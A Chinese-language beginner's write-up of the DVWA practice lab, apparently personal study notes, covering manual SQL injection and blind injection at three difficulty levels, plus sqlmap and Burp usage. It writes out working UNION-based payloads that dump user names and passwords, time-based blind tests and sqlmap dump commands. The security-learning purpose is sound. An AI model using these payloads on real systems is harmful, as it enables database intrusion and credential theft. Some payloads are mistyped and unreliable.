- 前言
小猪同学正式开始了渗透测试的学习,今天是入门打靶DWVA- -
真是开心的一天呢- - - 参考文章
这是一篇来自于csdn的攻略文 - 开始-环境搭建
小猪同学已经事先搭建好了靶场。
sql手工注入
low
输入1 and 1=1判断注入点
输入1’ and 1=1
报错
发现注入点,受到单引号闭合的影响
当注入点受到单引号和双引号影响:#把后面的代码注释掉,就可以解决这个问题
语句1’ or 1=1#带出所有数据
1’ and 1=1 order by 1
1’ and 1=1 order by 2
1’ and 1=1 order by 3
…判断字段数量
由于在3时显示错误,所以字段数量为2
union联合查询
1’ union select 1,2#语句
-1’ union union select 1,2#语句
下一步进行内容信息查询
把1’ union union select 1,2#语句中的数字2替换为你需要执行的sql命令
查找数据库名字:database(),所查出来数据库名字为dvwa
查找表名:table_name from information_schema.tables where table_schema=‘dvwa’
遭遇错误:
发现是自己的语句开头的1’ union select…的’没有打导致的错误。
正确的语句是:1’ union select 1, group_concat(column_name) from information_schema.columns where table_name='‘users’#
最后查看密码:-1’ union select group_concat(user_id,first_name),group_concat(user,password) from users#
(注意命令比较复杂不要输错)
medium
用burp抓包
发到repeater上改包,可以操作
利用brup重复之前low级别的动作即可。
high
操作和low一样,据说可以防sqlmap
SQL 盲注
所谓对的盲注没有数据返回
布尔盲注:返回是不是
还有时间盲注和报错盲注
low
先判断是数字型还是字符型:一般习惯于用and 1=2,如果是数字型,返回错误,但如果是字符型,返回正确
1 and 1=2
进一步猜测
1’ and ‘1 ’ = ‘2 (每一个位置都放上’):逻辑错误
1’ and '1 ’ = '1: 逻辑正确
所以说这个空应该是字符型
时间盲注:
语句:1 and sleep(5)# 延迟是数字型,不延迟是字符型。
sqlmap的安装
不用安装,直接上kali
输入1,抓包
用抓的地址 sqlmap.py -u [地址]
报错,重新下载
修复完毕,重新之前的操作出现302重定向,302重定向说明需要cookie,
爆出所需要的payload
命令后加 --dbs,爆出所有数据库
命令后加–current-db,爆出当前数据库
命令 -D dvwa --tables(列出dvwa数据库中全部表名)
命令-D dvwa -T users --columns(如上图所示,列出user表中字段信息)
命令-D dvwa -T users -C user,password,user_id --dump:到最后算崩了,kali重启了- -
经过实践验证这个盲注是GET型
修复后,破解出来的表是这样子滴:
medium
抓包,是POST方式
nano指令在sqlmap文件夹下编辑一个1.txt文档
爆出payload,剩下的就是重复之前的操作了。
high
nano修改之前的1.txt,改为抓弹出页的包,-second-url“”后面这个地址是第一个页面的地址。
报错:检查之后发现需要重新保存数据包信息
1.txt应该保存POST数据包的内容,后面–second-url的地址应该是GET数据包的地址
之后重复low的命令即可。